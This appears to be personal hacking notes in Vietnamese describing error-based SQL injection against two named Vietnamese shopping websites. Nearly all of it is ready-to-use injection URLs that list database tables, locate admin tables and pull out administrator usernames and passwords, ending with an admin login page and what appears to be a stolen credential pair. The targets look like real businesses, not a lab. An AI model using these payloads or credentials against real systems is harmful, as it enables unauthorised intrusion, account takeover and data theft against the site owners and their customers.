Hack SQLi cho aspx

 victim http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' 
Thêm '  để check lỗi.
Tìm tên các bảng
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 table_name from information_schema.tables))
đc bảng 'D99_Tmp'
 Tiếp tục
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 table_name from information_schema.tables where table_name not in ('D99_Tmp')))

http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 table_name from information_schema.tables where table_name not in ('D99_Tmp', 'dtproperties')))

http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 table_name from information_schema.tables where table_name not in ('D99_Tmp', 'dtproperties', 'tblAdmin' )))

Tìm các cột trong tblAdmin
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 column_name from information_schema.columns where table_name = 'tblAdmin'))

http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 column_name from information_schema.columns where table_name = 'tblAdmin' and column_name not in ('AID')))

http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 column_name from information_schema.columns where table_name = 'tblAdmin' and column_name not in ('AID','ALogin')))

Lấy thông tin user

http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 ALogin from tblAdmin))

http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 ALogin from tblAdmin where ALogin not in ('Administrator')))

 Lấy mật khẩu đăng nhập
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 APass from tblAdmin ))  // mật khẩu của Administrator

http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 APass from tblAdmin where ALogin not in ('Administrator') ))  //mật khẩu của user thứ 2.









http://www.hienshop.vn/ProductDetail/1672/198 and 1=convert(int,@@version)/Default.aspx

http://www.hienshop.vn/ProductDetail/1672/198 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tblCategory','tblComment','tblfooter','tbllienhe','tblLogo','tblNews','tblOrder','tblOrderDetail')))/Default.aspx

http://www.hienshop.vn/ProductDetail/1672/198 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tblAdmin'))/Default.aspx

http://www.hienshop.vn/ProductDetail/1672/198 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tblAdmin' and column_name not in ('AdminID','UserName','PassWord')))/Default.aspx

http://www.hienshop.vn/ProductDetail/1672/198 and 1=convert(int,(select top 1 UserName from tblAdmin))/Default.aspx
http://www.hienshop.vn/ProductDetail/1672/198 and 1=convert(int,(select top 1 PassWord from tblAdmin))/Default.aspx

http://www.hienshop.vn/admin/Login.aspx
dnlong/dnlong